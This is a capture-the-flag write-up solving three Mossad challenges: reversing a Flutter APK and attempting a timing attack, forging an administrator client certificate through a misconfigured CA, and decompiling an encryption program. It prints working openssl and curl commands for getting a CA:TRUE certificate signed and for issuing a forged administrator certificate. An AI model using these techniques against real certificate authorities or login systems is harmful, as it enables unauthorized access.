Mossad Challenge - 5779

By Dvd848 and YaakovCohen88

intro

The Mossad published this image a few days before the start of the official challenge:

We notice that the time stamp consists of only 0s and 1s so maybe something is hidden in binary somehow? We know from previous years that the pre challenge is usually very simple, so we'll just try to use the blank circles as 0s and the full Mossad symbols as 1s:

And we got an ip...

Challenge #1

Description

Welcome Agent.

A team of field operatives is currently on-site in enemy territory, working to retrieve intel on an imminent terrorist attack.

The intel is contained in a safe, the plans for which are available to authorized > clients via an app.

Our client ID is f6e772ba649047c8b5d653914bd5d6d7

Your mission is to retrieve those plans, and allow our team to break into the safe.

Good luck!, M.|

An APK file was attached.

Solution

We start by extracting the APK file using apktool:

The first thing to look at is the manifest:

Looks like a Flutter application:

Flutter is an open-source mobile application development framework created by Google. It is used to develop applications for Android and iOS (Wikipedia)

Looking around, most of the files seem either framework-related or bare-bones.

The application name seems to be "locksmither", let's search for all instances of it in order to be able to a closer look at the application specific code:

The following line stands out:

Why is the application name found in a binary file?

This looks like paths and code, it's worth taking a closer look.

This is actual code!

We search kernel_blob.bin for all locations of the user application (i.e. paths that start with "file:///C:/Users/USER/Desktop/2019/client/locksmither/") and extract the following files:

The files are attached under the Challenge1_files folder.

From login_page.dart we can learn that the application UI offers two fields: A seed and a password:

The login logic is located in network_actions.dart:

First, the authentication URL is received by making a request to /auth/getUrl. Then, the seed and password are verified against the login service.

Successfully logging in will take us to the home page, revealing a lock URL:

The obvious next move is to investigate the API:

Let's try to authenticate with random credentials (we add the user agent since that's what the application uses, as seen in network_wrapper.dart):

Obviously we get IsValid = False, but the detail that stands out here it the Time member.

We try the same request again and get a different time:

The result this time is smaller, meaning that this isn't a running clock. And in fact, we can see from the success message above that this is the amount of time, in nanoseconds, that it took the server to respond.

This is very good news since it might allow us to perform a Timing Attack:

In cryptography, a timing attack is a side channel attack in which the attacker attempts to compromise a cryptosystem by analyzing the time taken to execute cryptographic algorithms. Every logical operation in a computer takes time to execute, and the time can differ based on the input; with precise measurements of the time for each operation, an attacker can work backwards to the input.

The high-level concept is as follows:

  1. For each legal character that a password can contain:

    1. Send a request with the current character as the first character of the password and some other random string for the rest of the password
    2. Measure the time it takes for the server to respond
    3. If the server is vulnerable to a timing attack (by comparing the user password to the real password character by character), the time it takes for the server to respond when we send the correct first character will be a bit longer. This is because in this case, the server performs two comparisons (one for the first letter which is successful, and then for the second letter which is probably wrong), while in the common case the server will find out that the password is wrong during the first comparison
    4. After revealing the first letter of the password, repeat the procedure for the rest of the password

We can use the following script as a proof of concept:

The result:

According to these results, "P" is probably the first letter of the password.

In order to double check, we run again:

This time we get completely different results, and "P" is not even close to the top. We can repeat the experiment several times and each time we get very different results. The conclusion must be that this service is not vulnerable to a timing attack.

It's back to the drawing board, however there's not too much to work with anymore.

After thoroughly reviewing everything several times, we go back to the manifest and concentrate on the following line:

The android:data attribute is easy to look over at first, but upon closer examination it's a bit suspicious that the sentence doesn't start with a capital letter like we would expect if this was copied from some official source. What is this is a hint?

Github has many results for iwalk and LockSmither, but only one result for the combination iWalk-LockSmither!

In the single commit by this user, the following code was checked in:

This is the missing piece we needed!

We can see that there is a deprecated API (v1Auth) which is available only using a certain user agent:

Luckily, this API is vulnerable to a timing attack:

When we send a correct character, the server will wait 30 milliseconds before continuing to the next character, making it easy to isolate the correct character.

The only thing we have to bypass now is the following check:

If we don't know the correct seed, we won't be able to get to the character comparison. We can't brute force the seed since we have any information leaking at this stage, i.e. we can't distinguish a good seed from a bad one.

Since there doesn't seem any other way around this, our only reasonable strategy is to use the only piece of information we haven't used yet - the client ID from the description.

Let's try it:

Output:

We got a consistent "8" twice in a row, with a large delta from the next runner-up. This means that we're on the right track.

The following script will extract the complete password:

Note that we're only trying lowercase HEX characters, since from the first few results it seems as though the password is lowercase HEX. This allowed running much faster. If this assumption would have been found to be incorrect, we would have tried iterating over string.printable.

The output:

Challenge #2

Description

Hello again, Agent.

Our team has successfully exfiltrated the intel contained in the safe.

The intel has pointed us to an anti aircraft weapon deployed by the terrorists in order to shoot down civilian aircraft.

While our field teams try to find the weapon, you must work to disable it remotely.

Good luck! M.|

A link to a website was attached.

Solution

We visit the website at http://missilesys.com/ and get a redirection to an HTTPS version:

The HTTPS website is not backed by a known certificate chain:

If we check the certificate chain details, we get the following certificate:

The certificate is issued to missilesys.com by International Weapons Export Inc.. Since we don't have a chain from International Weapons Export Inc. up to some root of trust, the certificate isn't trusted.

We can add a flag to ignore our trust issues and retrieve the website anyway:

Now we get redirected to http://missilesys.com/notwelcome, which contains a big red light and the text "You are not welcome here!":

If we inspect the TLS handshake, we can see that the server sent us Request CERT - a request for a client-side certificate as part of a mutual authenticate negotiation. In a mutual authentication negotiation, the server not only sends us a certificate chain in order to prove its identity but also requests a certificate chain from us in order to prove our identity. Since we don't have any client-side certificate, the server rejects our access attempt.

The image points to http://dev.missilesys.com, let's visit that:

If we try to enter a username and password, we are redirected to the following page:

With the following POST data:

As you can see, in addition to our username and password, the form included two hidden fields for a private RSA key and a certificate signing request.

Let's inspect the CSR (certificate signing request) by copying it to a file and running the following command:

The main detail here is that the certificate is being issued in order to authenticate user (which is the username we entered).

By inspecting the form source, we can see that these additional fields were generated by a script upon form submission:

gencsr() is implemented in a javascript file included by the page. This file seems to be based on the PKI.js library, with some custom code:

The custom code seems to generate a private key, and create a CSR with our selected username as the CN.

If we click the "Download" link, we get to download a file called user.p12. This is a PKCS #12 file:

In cryptography, PKCS #12 defines an archive file format for storing many cryptography objects as a single file. It is commonly used to bundle a private key with its X.509 certificate or to bundle all the members of a chain of trust.

Let's inspect it:

We can see that the certificate request we sent using the form was signed by the server, and now we have what seems to be a valid certificate chain which authenticates user and builds up to "International Weapons Export Inc." (which is also the issuer of the server certificate which was used when attempting to access https://missilesys.com/).

Can we use this chain to access http://missilesys.com?

We add the chain to our Personal certificate store:

Now we try to access the website again. This time, the browser asks us which client-side certificate we'd like to use for mutual authentication:

We chose the newly installed certificate and can finally access the control panel:

Looks serious. On the top right corner we have a "settings" link, but if we try to click it, we get an error message stating that "You are not the administrator!".

No problem, we can just head back to http://dev.missilesys.com and issue a certificate with administrator as the CN, right?

Not so easy, the server doesn't accept administrator as a valid name, and states that "User already exists!".

Some implementations are vulnerable to a null prefix attack, where we insert a null byte inside the CN and faulty implementations might stop the comparison when they hit the null byte, or ignore the null byte altogether.

All the following attempts were signed successfully by the server, allowed accessing the main control panel, but failed when attempting to access the setting page:

We have to find a different way to trick the server into signing an "administrator" certificate for us. Or is there another option?

Let's take a closer look at the certificate the server signed for us.

First we extract the certificate from the PKCS#12 file, and then inspect it:

What is the difference between a CA (certificate authority) certificate and a leaf certificate? The CA certificate can be used to sign other certificates, while a leaf certificate cannot. And how does the browser (or any other entity verifying the chain) know if a certificate is a leaf or not? Using the following field:

If we didn't have this field, any malicious entity could purchase a legitimate certificate from a trusted CA and then use it to extend the chain by signing additional certificates. Therefore, when CAs issue certificates to end entities, they set "Basic Constraints: CA = FALSE" in the issued certificate and the browser knows not to trust a chain where any certificate but the last one has CA = FALSE.

What if we could get the server to sign a certificate with CA = TRUE? We could then sign our own certificate with CN = administrator.

We start by creating a private key for our intermediate certificate (in theory we could also use the one generated by the javascript file):

Now, we need to issue a CSR for a certificate with CA = TRUE:

Now we request the server to sign our CSR:

[email protected]:/media/sf_CTFs/mossad/2# curl 'https://dev.missilesys.com/download_cert' -H 'Connection: keep-alive' -H 'Content-Type: application/x-www-form-urlencoded' --data 'username=user&password=pass' --insecure --data-urlencode [email protected]_key.pem --data-urlencode [email protected]_csr.pem --output intermediate.p12
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  6108    0  3213  100  2895   3811   3434 --:--:-- --:--:-- --:--:--  7245
[email protected]:/media/sf_CTFs/mossad/2#  openssl pkcs12 -in intermediate.p12 -clcerts -nokeys -out intermediate.pem
Enter Import Password:
[email protected]:/media/sf_CTFs/mossad/2# openssl x509 -in intermediate.pem -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1 (0x1)
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: O = International Weapons Export Inc.
        Validity
            Not Before: May 12 19:42:38 2019 GMT
            Not After : May 11 19:42:38 2020 GMT
        Subject: CN = Evil MITM
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Modulus:
                    00:cb:87:89:23:0d:e0:e9:dd:e0:09:bb:26:df:86:
                    72:6e:7e:52:b0:f7:1e:98:54:89:00:c8:9f:48:b6:
                    8d:83:c5:76:55:0b:65:9f:b2:72:28:42:c3:ab:a7:
                    68:ef:b1:2b:1c:34:b1:f6:c9:77:6f:a4:1a:7e:8d:
                    21:38:04:88:31:3d:a1:63:bd:22:df:6f:de:d2:ed:
                    57:ad:9b:93:64:03:4e:02:b4:d8:af:f3:d5:bc:a0:
                    50:cd:df:74:37:85:a1:aa:98:cc:a5:4b:d4:cc:88:
                    8a:04:3d:2e:aa:bc:06:6a:a2:52:c0:44:92:37:8f:
                    10:72:28:e7:15:e2:ad:b7:b5:24:b3:ff:fc:29:09:
                    d1:c2:42:96:bf:05:9f:1a:75:3b:3a:65:a9:5b:d2:
                    7c:4a:47:ac:1c:d4:f9:a1:64:83:5a:11:cf:8b:f6:
                    ab:09:80:23:a1:c6:8e:d2:41:39:e1:05:96:28:84:
                    a6:6d:8b:83:11:6f:2b:a9:30:4f:4d:2e:e6:75:59:
                    e2:79:15:f0:db:88:13:24:ce:3c:83:68:b2:54:31:
                    9d:b5:0e:3a:44:5a:b3:64:22:11:ef:98:4f:0d:55:
                    6f:94:b6:a6:fd:f6:54:0d:95:c4:68:f7:ba:49:10:
                    b8:a9:fb:f8:25:51:5e:46:cd:6d:24:4b:64:17:49:
                    06:03
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints:
                CA:TRUE
            X509v3 Subject Key Identifier:
                01:12:D6:0D:F5:04:76:E2:5C:3B:68:7B:37:F3:AB:C4:B4:E6:31:13
    Signature Algorithm: sha256WithRSAEncryption
         7d:2e:1e:c9:df:d0:20:29:a0:5e:11:87:a1:d3:e2:3f:76:c6:
         2d:5d:da:d5:53:51:5c:6b:b1:5c:e9:37:9d:69:ed:43:fe:e1:
         ab:75:4f:22:42:43:cf:f4:6f:4f:a8:fc:70:82:a1:82:bc:26:
         6f:7c:7e:7c:13:52:96:b3:16:85:af:fe:78:93:0b:06:05:c9:
         aa:99:ed:86:84:66:54:14:ca:5b:58:5f:56:1c:c8:ad:5b:9a:
         84:b1:2b:e8:19:95:37:2a:f9:73:99:14:7c:d7:e2:8e:d5:09:
         9b:29:02:ac:43:91:f1:df:ed:5c:2e:b0:70:33:d5:5b:16:56:
         25:c7:2c:1e:92:01:8c:e3:27:05:06:0e:53:0f:0b:93:d2:03:
         d2:14:97:b9:9f:d5:d9:9f:2b:c5:26:a8:3c:09:23:13:b2:16:
         87:32:39:73:e4:e0:ac:4a:c6:c1:35:24:f5:4e:38:3f:87:7e:
         7b:b9:8e:1a:46:e2:c6:5c:fb:7f:c9:63:eb:e0:72:8b:3a:43:
         34:6a:b3:1d:61:13:39:de:d0:48:0f:27:81:52:ac:62:c2:9c:
         e4:ae:92:8d:45:77:52:e2:0d:e2:ca:13:3b:33:da:a5:02:8d:
         12:ed:00:f9:3e:4d:36:e3:89:79:7c:b1:cd:22:e3:94:3a:86:
         6f:1b:a4:9d

We got a certificate with CA = TRUE!

Now we create a leaf with CN = administrator:

[email protected]:/media/sf_CTFs/mossad/2# openssl genrsa -out leaf_key.pem 2048
Generating RSA private key, 2048 bit long modulus (2 primes)
...............................................+++++
........................+++++
e is 65537 (0x010001)
[email protected]:/media/sf_CTFs/mossad/2# openssl req -new -key leaf_key.pem -out leaf_csr.pem
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:.
State or Province Name (full name) [Some-State]:.
Locality Name (eg, city) []:.
Organization Name (eg, company) [Internet Widgits Pty Ltd]:.
Organizational Unit Name (eg, section) []:.
Common Name (e.g. server FQDN or YOUR name) []:administrator
Email Address []:.

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
[email protected]:/media/sf_CTFs/mossad/2# cat leaf.ext
basicConstraints=CA:FALSE
subjectKeyIdentifier=hash
[email protected]:/media/sf_CTFs/mossad/2# openssl x509 -req -in leaf_csr.pem -CA intermediate.pem -CAkey intermediate_key.pem -CAcreateserial -out leaf.pem  -days 1825 -sha256 -extfile leaf.ext
Signature ok
subject=CN = administrator
Getting CA Private Key

Double check that the leaf looks ok:

[email protected]:/media/sf_CTFs/mossad/2# openssl x509 -in leaf.pem -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            45:c9:6a:20:cc:15:ba:7d:08:79:a7:53:b7:19:91:b9:20:60:45:40
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: CN = Evil MITM
        Validity
            Not Before: May 12 19:49:48 2019 GMT
            Not After : May 10 19:49:48 2024 GMT
        Subject: CN = administrator
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Modulus:
                    00:ce:4a:cd:69:f9:b8:a4:fd:3d:bb:79:a2:a7:43:
                    7b:67:3c:81:18:27:f8:79:83:58:cd:0a:a7:b0:21:
                    0a:08:c2:d3:d3:f6:28:d4:47:48:ac:14:1f:1c:dc:
                    ef:21:99:39:70:9e:c4:b4:c8:6e:ce:da:1e:77:01:
                    fe:e3:c2:1c:95:5e:0d:91:47:d5:ee:c7:8b:da:c9:
                    30:f6:ac:ea:43:c9:3e:08:c1:23:7a:e2:bb:3a:69:
                    2b:0d:38:16:53:91:cb:10:c3:b0:c4:34:13:29:3a:
                    eb:ec:56:15:35:a0:8a:de:60:5b:08:2d:e2:af:52:
                    db:a0:54:1c:f2:44:71:fd:c2:69:da:99:ff:c4:08:
                    93:67:14:16:c7:14:63:46:53:b6:df:f4:48:aa:c0:
                    b8:5f:a7:0d:55:31:13:a2:d7:d9:4b:47:6f:a0:2a:
                    a4:60:e7:e1:22:df:f7:39:da:b5:5e:71:6e:e5:85:
                    cf:a4:37:7b:b7:12:4a:9e:83:0b:ad:2a:a4:e0:ef:
                    9c:b9:b7:3f:e6:26:a4:6c:2d:fa:86:d2:65:e4:64:
                    38:7d:14:c9:3e:22:4e:33:d1:00:84:e0:62:13:8a:
                    07:ca:f1:c9:5c:bc:2b:bb:d8:ff:2d:1a:95:ac:83:
                    9e:41:98:4c:81:fa:8d:22:8c:b9:33:2c:c3:09:ff:
                    cc:8d
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints:
                CA:FALSE
            X509v3 Subject Key Identifier:
                40:18:7D:C1:BD:8C:70:DA:02:47:E0:7C:65:F2:64:F9:13:7F:D4:4A
    Signature Algorithm: sha256WithRSAEncryption
         59:b1:99:89:bd:19:3c:4d:81:8e:ea:89:e4:20:7d:1d:8a:b5:
         35:a3:b6:38:50:6c:fe:7b:f6:fe:99:ea:9e:3d:f8:43:6c:a4:
         4e:c9:7b:d0:52:eb:6b:b4:90:7c:a7:7e:f9:c5:3f:55:25:4f:
         60:71:1a:e4:48:a2:72:7f:9d:8e:3d:d5:e5:e5:9e:9d:a2:61:
         d0:ca:ff:ed:33:79:2d:d3:90:74:6e:4c:b0:c2:d2:c4:f2:7e:
         59:44:89:64:d3:0a:fb:fe:32:d3:ed:5c:88:99:bd:89:28:9d:
         f6:72:5c:24:ac:06:fe:6a:d1:e0:ea:c7:54:30:db:ac:52:f4:
         83:6f:41:d8:e0:45:23:0b:07:bc:60:aa:f3:e8:8d:af:53:2e:
         a1:4f:c9:28:91:ce:14:ef:26:9a:64:19:a8:4a:76:72:f1:cf:
         9f:d4:26:b2:fe:0b:bd:3f:5e:67:d2:e0:d2:b0:4b:df:a0:99:
         09:14:48:8f:82:6d:6c:b2:02:14:3c:60:a0:d9:f4:45:42:ba:
         10:ec:47:b0:e7:2a:a3:a2:d0:4e:bc:7a:02:56:41:ec:4e:85:
         b1:3c:81:45:85:75:d1:ab:0c:c9:a6:0d:24:b9:3e:74:84:70:
         3a:a0:c7:98:ad:83:35:1c:88:1e:80:b9:53:e7:b6:fa:47:95:
         53:85:fa:78

We create a PKCS#12 file:

[email protected]:/media/sf_CTFs/mossad/2# openssl pkcs12 -export  -inkey leaf_key.pem -in leaf.pem -certfile intermediate.pem -out final.pfx
Enter Export Password:
Verifying - Enter Export Password:

Now we import it in the browser and try to access the settings:

We're in!

We have access to a telnet debug interface which allows entering an IP and port, and a list of IPs and ports.

Anything but the first one (Management Status - Managed by 10.0.0.1:80) returns "Only one connection at a time is allowed". Therefore, we'll investigate the first interface.

Since the port is 80, we can try to issue raw HTTP commands:

GET / HTTP/1.0

We receive the following response (truncated):

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 5374
Set-Cookie: SID=Z0FBQUFBQmMySHNiWklXai05a3kwZ3paWll5NnlzMnZjcnNBOFZxaEZ4SDRVbV84Rlp1UzhLbG5STy1Nc2lHTVRZTFozOHZXYVBkZi1NckRzOTc3S09raW56MzZPXzBWdlppR05rS1dUUUlPS2FXNW9SUXBPd1J1Y1gxejdBVENVVFIwSDU1ZHpLajY3VFNoN0dKUnBVa0hPemZtalVTNVkxaHl1RHQtNU1hbE1xWDhCVzY1c2RFPQ==; Domain=.missilesystem.com; Expires=Tue, 11-Jun-2019 19:59:23 GMT; Path=/
Date: Sun, 12 May 2019 19:59:23 GMT
Server: Cheroot/6.5.4

<html>
    <!-- ... -->
	<body>
		<div id="title" class="level1_title">
			<div id="welcome">
				<span>Welcome to Management System!</span>
			</div>
            <div id="settings"><span><a href="/settings">settings</a></span></div>
		</div>
		<div id="status">
			<div id="managemenetstatus">
				<div id="managemenetstatus_title" class="level2_title">
					<span class="name">Management Status</span>
					<span class="value">OK</span>
				</div>
				<div id="managemenetstatus_content">
					<div id="earlywarning_status" class="level3_title">
						<span class="name">Missile System</span>
						<span class="value">OK</span>
					</div>
				</div>
			</div>
		</div>
	</body>
</html>

Let's try to access the setting page:

GET /settings HTTP/1.1

The response:

HTTP/1.1 302 FOUND Content-Type: text/html; charset=utf-8 Content-Length: 237 Location: http://10.0.0.1 Date: Sun, 12 May 2019 20:01:13 GMT Server: Cheroot/6.5.4 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>Redirecting...</title> <h1>Redirecting...</h1> <p>You should be redirected automatically to target URL: <a href="http://10.0.0.1">http://10.0.0.1</a>. If not click the link.

But what if we send the cookie this time?

GET /settings HTTP/1.0
Cookie: SID=Z0FBQUFBQmMySHNiWklXai05a3kwZ3paWll5NnlzMnZjcnNBOFZxaEZ4SDRVbV84Rlp1UzhLbG5STy1Nc2lHTVRZTFozOHZXYVBkZi1NckRzOTc3S09raW56MzZPXzBWdlppR05rS1dUUUlPS2FXNW9SUXBPd1J1Y1gxejdBVENVVFIwSDU1ZHpLajY3VFNoN0dKUnBVa0hPemZtalVTNVkxaHl1RHQtNU1hbE1xWDhCVzY1c2RFPQ==; Domain=.missilesystem.com; Expires=Tue, 11-Jun-2019 19:59:23 GMT; Path=/

We get a response:

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 5203
Set-Cookie: SID=Z0FBQUFBQmMySHUtTlJUamp1My11eF9Yc250dFFOOVZMUVI2ZmZlV0pSd0NQMXVZT2RJQWplMmxqTXpadlNEckdtazdYRTd1VmRLNmd6eEZVWFR2QVBIQjljcFVrT0VQbTJhMlNwRTFLV1ludGZITWg0QnJHRjhhSGg1djVwcEFaOGhIWldnSm44RG5xdDVjS0lib2hGamZ0ZkllS0VQRGQzbjRhN20xRnNaZHQ4VFVSd3BiVkhrPQ==; Domain=.missilesystem.com; Expires=Tue, 11-Jun-2019 20:02:06 GMT; Path=/
Date: Sun, 12 May 2019 20:02:06 GMT
Server: Cheroot/6.5.4

<html>
    <!-- ... -->
	<body>
		<div id="title" class="level1_title">
			<div id="welcome">
				<span>Management System Settings</span>
			</div>
		</div>
		<div id="status">
			<div id="telnetdebugging">
				<div id="telnetdebugging_title" class="level2_title"><span>Telnet Debugging</span></div>
				<div id="telnet">
					<form  method="post">
						<div id="console">
							<input type="submit" value="Turn Off Management System"></input>
						</div>
					</form>
				</div>
			</div>
		</div>
	</body>
</html>

We have a big button saying "Turn Off Management System", let's click it:

POST /settings HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Cookie: SID=Z0FBQUFBQmMySHUtTlJUamp1My11eF9Yc250dFFOOVZMUVI2ZmZlV0pSd0NQMXVZT2RJQWplMmxqTXpadlNEckdtazdYRTd1VmRLNmd6eEZVWFR2QVBIQjljcFVrT0VQbTJhMlNwRTFLV1ludGZITWg0QnJHRjhhSGg1djVwcEFaOGhIWldnSm44RG5xdDVjS0lib2hGamZ0ZkllS0VQRGQzbjRhN20xRnNaZHQ4VFVSd3BiVkhrPQ==; Domain=.missilesystem.com; Expires=Tue, 11-Jun-2019 20:02:06 GMT; Path=/

The success page is shown!

Challenge #3

Description

Hello again, Agent.

After you disabled the weapon system, we have successfully raided the terrorist compound and took all present into custody.

The terrorists destroyed much of the data they kept, but we have managed to retrieve an encrypted file containing links to the other members of the network, as well as the program used to encrypt it.

Sadly, the encryption computer was destroyed. Aside from unidentified manufacturer markings on the front (Or... Po... Ltd.) we don't know anything about it.

Hopefully that won't stop you from decrypting this important intel.

Good luck!, M.|

A binary file (EncryptSoftware.exe) and an encrypted file (intel.txt.enc) were attached.

Solution

Let's start by running the program:

E:\CTFs\mossad>EncryptSoftware.exe
USAGE: Encrypt <input file name> <output file name>

It looks like the program expects two arguments: An input filename and an output file name.

We'll use Ghidra to investigate the program. We'll show the decompilation output (after performing some renaming). The full decomplied output can be found in the Challenge3_files folder.

We'll start with the main function:

undefined4 __cdecl main(int argc,char **argv)
{
  char *output_buffer;
  HANDLE *ppvVar1;
  HANDLE pvVar2;
  DWORD bytes_written;
  int bytes_to_write;
  LPCWSTR lpOutputFileName;
  
  if (argc < 3) {
    print("USAGE: Encrypt <input file name> <output file name>");
    return 0xffffffff;
  }
  argc = 0;
  output_buffer = encrypt(argv[1],&argc);
  lpOutputFileName = (LPCWSTR)argv[2];
  ppvVar1 = (HANDLE *)allocate(4);
  if (ppvVar1 != (HANDLE *)0x0) {
    pvVar2 = CreateFileW(lpOutputFileName,0x40000000,0,(LPSECURITY_ATTRIBUTES)0x0,2,0x80,(HANDLE)0x0
                        );
    bytes_to_write = argc;
    *ppvVar1 = pvVar2;
    if (pvVar2 == (HANDLE)0xffffffff) {
      free(ppvVar1);
      return 0;
    }
    bytes_written = 0;
    WriteFile(*ppvVar1,output_buffer,argc,&bytes_written,(LPOVERLAPPED)0x0);
    if (bytes_written != bytes_to_write) {
      cleanup(lpOutputFileName);
    }
  }
  return 0;
}

Not much to see here, we see that the function calls encrypt with the input file name, and writes the result to the output file name.

encrypt is a bit longer. It starts by calling another function and saving the result:

  padded_md5 = (undefined4 *)padded_md5_filename_mac(input_file_name);
  if (padded_md5 == (undefined4 *)0x0) {
    pcVar2 = (char *)FUN_00401f78();
    return pcVar2;
  }

This function is implemented as follows:

char * __fastcall padded_md5_filename_mac(char *file_name)

{
  ushort uVar1;
  ushort *puVar2;
  undefined8 *pbData;
  int file_name_len_2;
  undefined4 *p_mac_addr;
  BOOL BVar3;
  char *pcVar4;
  undefined4 *puVar5;
  int i;
  uint file_name_len;
  HCRYPTPROV hProv;
  DWORD hash_len;
  HCRYPTHASH hHash;
  byte hash_output [16];
  
  puVar2 = FUN_00402abe(file_name,'\\');
  if (puVar2 != (ushort *)0x0) {
    file_name = (char *)(puVar2 + 1);
  }
  puVar2 = (ushort *)file_name;
  do {
    uVar1 = *puVar2;
    puVar2 = puVar2 + 1;
  } while (uVar1 != 0);
  file_name_len = (int)((int)puVar2 - (int)((ushort *)file_name + 1)) >> 1;
  pbData = (undefined8 *)allocate(file_name_len + 6);
  if (pbData == (undefined8 *)0x0) {
    pcVar4 = (char *)FUN_00401f78();
    return pcVar4;
  }
  file_name_len_2 = copy_str_into_buffer(pbData,(ushort *)file_name,file_name_len);
  if (file_name_len_2 == 0) goto LAB_00401633;
  p_mac_addr = (undefined4 *)get_mac_addr();
  puVar5 = (undefined4 *)((int)pbData + file_name_len);
  if (puVar5 == (undefined4 *)0x0) {
LAB_00401530:
    puVar5 = (undefined4 *)FUN_00407f40();
    *puVar5 = 0x16;
    FUN_00407e83();
  }
  else {
    if (p_mac_addr == (undefined4 *)0x0) {
      *puVar5 = 0;
      *(undefined2 *)(puVar5 + 1) = 0;
      goto LAB_00401530;
    }
                    // Copy MAC address after file name
    *puVar5 = *p_mac_addr;
    *(undefined2 *)(puVar5 + 1) = *(undefined2 *)(p_mac_addr + 1);
  }
  hProv = 0;
  hHash = 0;
  hash_len = 0x10;
  BVar3 = CryptAcquireContextW(&hProv,(LPCWSTR)0x0,(LPCWSTR)0x0,1,0xf0000000);
  if (BVar3 != 0) {
                    // MD5 (0x8003)
    BVar3 = CryptCreateHash(hProv,0x8003,0,0,&hHash);
    if (BVar3 != 0) {
      BVar3 = CryptHashData(hHash,(BYTE *)pbData,file_name_len + 6,0);
      if (BVar3 != 0) {
        BVar3 = CryptGetHashParam(hHash,2,hash_output,&hash_len,0);
        if (BVar3 != 0) {
          puVar5 = (undefined4 *)allocate(0x20);
          if (puVar5 != (undefined4 *)0x0) {
            i = 0;
            *puVar5 = 0;
            puVar5[1] = 0;
            puVar5[2] = 0;
            puVar5[3] = 0;
            puVar5[4] = 0;
            puVar5[5] = 0;
            puVar5[6] = 0;
            puVar5[7] = 0;
                    // Pad MD5 result (nibble to byte)
            if (0 < (int)hash_len) {
              do {
                if (0xf < i) break;
                *(byte *)((int)puVar5 + i * 2) = hash_output[i] >> 4;
                *(byte *)((int)puVar5 + i * 2 + 1) = hash_output[i] & 0xf;
                i = i + 1;
              } while (i < (int)hash_len);
            }
          }
        }
      }
    }
    if (hProv != 0) {
      CryptReleaseContext(hProv,0);
    }
    if (hHash != 0) {
      CryptDestroyHash(hHash);
    }
  }
  if (p_mac_addr != (undefined4 *)0x0) {
    free(p_mac_addr);
  }
LAB_00401633:
  free(pbData);
  pcVar4 = (char *)FUN_00401f78();
  return pcVar4;
}

What is does is:

  1. Allocate a buffer of len(filename) + 6
  2. Copy the filename into this buffer
  3. After the filename, copy the machine's MAC address into the buffer
  4. Calculate an MD5 hash over the buffer
  5. Allocate a buffer of 32 bytes, which is twice as long as the MD5 hash output
  6. "Pad" the MD5 hash by turning every nibble into a byte

For example, for the filename "file.txt" and the MAC address "AABBCCDDEEFF", the buffer would be:

file.txt\xAA\xBB\xCC\xDD\xEE\xFF

The MD5 would be:

b9cab29e8ade3a62f0bc38b3e1398572

And the result would be:

0b090c0a0b02090e080a0d0e030a06020f000b0c03080b030e01030908050702

Back to encrypt. The next step after receiving the padded MD5 is to call an internal function which performs classic encryption:

encrypted_size = 0;
encrypted_buf = do_encrypt((LPCWSTR)input_file_name,&encrypted_size);

This function is implemented as follows:

char * __fastcall do_encrypt(LPCWSTR file_name,size_t *output_size)

{
  BOOL BVar1;
  char *pcVar2;
  undefined8 *mac_addr;
  undefined4 *puVar3;
  undefined4 *disk_serial;
  DWORD input_file_size;
  size_t _Size;
  char *output_buf;
  int iVar4;
  HANDLE *input_file_handle;
  DWORD total_bytes_read;
  undefined8 *buf1;
  bool bVar5;
  HCRYPTKEY hKey;
  HCRYPTHASH hHash;
  uint bytes_read;
  int offset;
  HCRYPTPROV hProv;
  ushort *temp;
  char read_buf [16];
  
  input_file_handle = (HANDLE *)0x0;
  buf1 = (undefined8 *)0x0;
  hProv = 0;
  hKey = 0;
  hHash = 0;
  CryptAcquireContextW(&hProv,L"DataSafeCryptContainer",(LPCWSTR)0x0,0x18,0x50);
  BVar1 = CryptAcquireContextW(&hProv,L"DataSafeCryptContainer",(LPCWSTR)0x0,0x18,0x48);
  if (BVar1 == 0) {
    GetLastError();
    print("%x");
    goto LAB_004010b6;
  }
  BVar1 = CryptCreateHash(hProv,0x8003,0,0,&hHash);
  if ((BVar1 == 0) || (buf1 = (undefined8 *)allocate(0xe), buf1 == (undefined8 *)0x0))
  goto LAB_004010b6;
  mac_addr = (undefined8 *)get_mac_addr();
  if (mac_addr == (undefined8 *)0x0) {
LAB_00401252:
    free(buf1);
    buf1 = (undefined8 *)0x0;
  }
  else {
    copy_buf_(buf1,0xe,mac_addr,6);
    temp = (ushort *)execute_command(L"wmic bios get serialnumber");
    if (temp == (ushort *)0x0) {
LAB_00401241:
      bVar5 = false;
    }
    else {
      puVar3 = extract_serial(temp);
      free(temp);
      if (puVar3 == (undefined4 *)0x0) goto LAB_00401241;
      temp = (ushort *)lchar_to_dword((ushort *)puVar3);
      if (temp == (ushort *)0xffffffff) {
        bVar5 = false;
        free(puVar3);
      }
      else {
                    // Now buffer will contain mac + bios_serial[0:4]
        copy_buf_((undefined8 *)((int)buf1 + 6),8,(undefined8 *)&temp,4);
        disk_serial = get_disk_serial();
        if (disk_serial == (undefined4 *)0x0) {
          bVar5 = false;
          free(puVar3);
        }
        else {
          temp = (ushort *)lchar_to_dword((ushort *)disk_serial);
          bVar5 = temp != (ushort *)0xffffffff;
          if (bVar5) {
                    // Now buffer will contain mac + bios_serial[0:4] + disk_serial[0:4]
            copy_buf_((undefined8 *)((int)buf1 + 10),4,(undefined8 *)&temp,4);
          }
          free(disk_serial);
          free(puVar3);
        }
      }
    }
